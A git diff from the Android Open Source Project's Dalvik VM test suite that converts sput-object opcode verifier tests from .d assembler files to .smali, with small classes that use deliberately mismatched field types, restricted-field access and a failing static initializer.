diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..b86ede4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static t:I
+
+.field public static value:Ljava/lang/Object;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput v1, Ldot/junit/opcodes/sput_object/d/StubInitError;->t:I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/T_sput_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/T_sput_object_13.smali
new file mode 100644
index 0000000..e5ad151
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/T_sput_object_13.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_13;
+.super Ljava/lang/Object;
+.source "T_sput_object_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/StubInitError;->value:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.d
deleted file mode 100644
index 89ed274..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_14.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_14
-.super dot/junit/opcodes/sput_object/d/T_sput_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_object/d/T_sput_object_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()Ljava/lang/Object;
-.limit regs 2
-
-       sget-object v0, dot.junit.opcodes.sput_object.d.T_sput_object_1.st_p1 Ljava/lang/Object;
-       return-object v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_1.st_p1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali
new file mode 100644
index 0000000..86baed4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_14.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_14;
+.super  Ldot/junit/opcodes/sput_object/d/T_sput_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()Ljava/lang/Object;
+.registers 2
+
+       sget-object v0, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_p1:Ljava/lang/Object;
+       return-object v0
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_p1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.d
deleted file mode 100644
index 61d48e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_15.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_15
-.super dot/junit/opcodes/sput_object/d/T_sput_object_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_object/d/T_sput_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_1.st_pvt1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali
new file mode 100644
index 0000000..7d82fe8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_15.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_15;
+.super  Ldot/junit/opcodes/sput_object/d/T_sput_object_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_pvt1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.d
deleted file mode 100644
index b46acdf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_17.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_17.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali
new file mode 100644
index 0000000..9faa755
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_17.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_17;->st_i1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.d
deleted file mode 100644
index 21c4c5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_18.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali
new file mode 100644
index 0000000..ed272d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_18.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.smali
new file mode 100644
index 0000000..ae1e977
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_2;
+.super Ljava/lang/Object;
+.source "T_sput_object_2.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0x4d2
+
+    sput-object v0, Ldot/junit/opcodes/sput_object/d/T_sput_object_2;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.smali
new file mode 100644
index 0000000..5bea713
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_20;
+.super Ljava/lang/Object;
+.source "T_sput_object_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/String;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_20;->st_o:Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.d
deleted file mode 100644
index f09c1a9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_21.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_21
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali
new file mode 100644
index 0000000..53b51ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_21.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.d
deleted file mode 100644
index 4ae60e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_22.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali
new file mode 100644
index 0000000..edda48e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_22.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.d
deleted file mode 100644
index b440bb4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_23.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_23
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali
new file mode 100644
index 0000000..fadfdd3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_23.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.d
deleted file mode 100644
index 63a01e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_24.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali
new file mode 100644
index 0000000..ad764d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_24.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.smali
new file mode 100644
index 0000000..c1ea9c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_3;
+.super Ljava/lang/Object;
+.source "T_sput_object_3.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_3;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_4.smali
new file mode 100644
index 0000000..bcd16c7
--- /dev/null
